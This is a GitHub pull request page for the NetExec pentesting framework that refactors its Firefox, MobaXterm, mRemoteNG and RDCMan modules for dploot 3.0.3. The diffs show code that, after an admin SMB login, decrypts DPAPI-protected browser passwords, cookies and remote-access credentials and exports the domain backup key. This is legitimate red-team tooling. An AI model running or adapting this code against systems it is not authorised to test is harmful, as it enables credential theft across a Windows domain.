Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Upgrade dploot to 3.0.3 #491

Open
wants to merge 2 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
35 changes: 21 additions & 14 deletions nxc/modules/firefox.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
from dploot.lib.target import Target
from nxc.protocols.smb.firefox import FirefoxTriage
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage


class NXCModule:
Expand All @@ -16,10 +16,11 @@ class NXCModule:
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?

def options(self, context, module_options):
"""Dump credentials from Firefox"""
"""COOKIES Get also Firefox cookies"""
self.gather_cookies = "COOKIES" in module_options

def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
Expand All @@ -41,19 +42,25 @@ def on_admin_login(self, context, connection):
use_kcache=use_kcache,
)

def firefox_callback(secret):
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}")
context.db.add_dpapi_secrets(
target.address,
"FIREFOX",
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")

try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=target, logger=context.log)
firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback)
firefox_triage.upgrade_connection(connection=connection.conn)
firefox_credentials = firefox_triage.run()
for credential in firefox_credentials:
context.log.highlight(
"[{}][FIREFOX] {} {}:{}".format(
credential.winuser,
credential.url + " -" if credential.url != "" else "-",
credential.username,
credential.password,
)
)
firefox_triage.run(gather_cookies=self.gather_cookies)
except Exception as e:
context.log.debug(f"Error while looting firefox: {e}")
112 changes: 23 additions & 89 deletions nxc/modules/mobaxterm.py
Original file line number Diff line number Diff line change
@@ -1,10 +1,8 @@
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection

from nxc.helpers.logger import highlight
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection


class NXCModule:
Expand All @@ -15,114 +13,50 @@ class NXCModule:
multiple_hosts = True

def options(self, context, module_options):
"""
PVK Domain backup key file
MKFILE File with masterkeys in form of {GUID}:SHA1
"""
self.pvkbytes = None
self.masterkeys = None
self.conn = None
self.target = None

if "PVK" in module_options:
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115

if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
""" """

def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")

if self.pvkbytes is None:
try:
dc = Target.create(
domain=domain,
username=username,
password=password,
target=domain,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)

dc_conn = DPLootSMBConnection(dc)
dc_conn.connect()
self.pvkbytes = get_domain_backup_key(connection)

if dc_conn.is_admin:
context.log.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
except Exception as e:
context.log.debug(f"Could not get domain backupkey: {e}")

self.target = Target.create(
domain=domain,
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=use_kcache,
use_kcache=getattr(connection, "use_kcache", False),
)

try:
self.conn = DPLootSMBConnection(self.target)
self.conn.smb_session = connection.conn
except Exception as e:
context.log.debug(f"Could not upgrade connection: {e}")

conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return

plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
if password != "":
plaintexts[username] = password
if nthash != "":
nthashes[username] = nthash

if self.masterkeys is None:
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)

if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return

context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")

def mobaxterm_callback(credential):
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")

try:
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
_, credentials = triage.triage_mobaxterm()
for credential in credentials:
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
triage.triage_mobaxterm()
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
16 changes: 6 additions & 10 deletions nxc/modules/mremoteng.py
Original file line number Diff line number Diff line change
@@ -1,12 +1,13 @@
import ntpath
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass

from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection


@dataclass
class MRemoteNgEncryptionAttributes:
Expand Down Expand Up @@ -94,7 +95,10 @@ def on_admin_login(self, context, connection):
use_kcache=use_kcache,
)

dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if dploot_conn is None:
context.log.debug("Could not upgrade connection")
return

# 2. Dump users list
users = self.get_users(dploot_conn)
Expand All @@ -116,14 +120,6 @@ def on_admin_login(self, context, connection):
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)

def upgrade_connection(self, target: Target, connection=None):
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
else:
conn.connect()
return conn

def get_users(self, conn):
users = []
Expand Down
109 changes: 21 additions & 88 deletions nxc/modules/rdcman.py
Original file line number Diff line number Diff line change
@@ -1,10 +1,8 @@
from dploot.triage.rdg import RDGTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.rdg import RDGTriage, RDGServerProfile
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection

from nxc.helpers.logger import highlight
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection


class NXCModule:
Expand All @@ -15,99 +13,34 @@ class NXCModule:
multiple_hosts = True

def options(self, context, module_options):
"""
PVK Domain backup key file
MKFILE File with masterkeys in form of {GUID}:SHA1
"""
self.pvkbytes = None
self.masterkeys = None

if "PVK" in module_options:
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115

if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
""" """

def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")

if self.pvkbytes is None:
try:
dc = Target.create(
domain=domain,
username=username,
password=password,
target=domain,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)

dc_conn = DPLootSMBConnection(dc)
dc_conn.connect()

if dc_conn.is_admin:
context.log.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
except Exception as e:
context.log.debug(f"Could not get domain backupkey: {e}")
self.pvkbytes = get_domain_backup_key(connection)

target = Target.create(
domain=domain,
domain=connection.domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=use_kcache,
use_kcache=getattr(connection, "use_kcache", False),
)

conn = None

try:
conn = DPLootSMBConnection(target)
conn.smb_session = connection.conn
except Exception as e:
context.log.debug(f"Could not upgrade connection: {e}")

conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return

plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
if password != "":
plaintexts[username] = password
if nthash != "":
nthashes[username] = nthash

if self.masterkeys is None:
try:
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)

if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
Expand All @@ -122,17 +55,17 @@ def on_admin_login(self, context, connection):
if rdcman_file is None:
continue
for rdg_cred in rdcman_file.rdg_creds:
if rdg_cred.type in ["cred", "logon", "server"]:
log_text = "{} - {}:{}".format(rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode("latin-1")) if rdg_cred.type == "server" else "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")

for rdgfile in rdgfiles:
if rdgfile is None:
continue
for rdg_cred in rdgfile.rdg_creds:
log_text = "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
if rdg_cred.type == "server":
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
context.log.highlight(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}")
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
except Exception as e:
context.log.debug(f"Could not loot RDCMan secrets: {e}")
Loading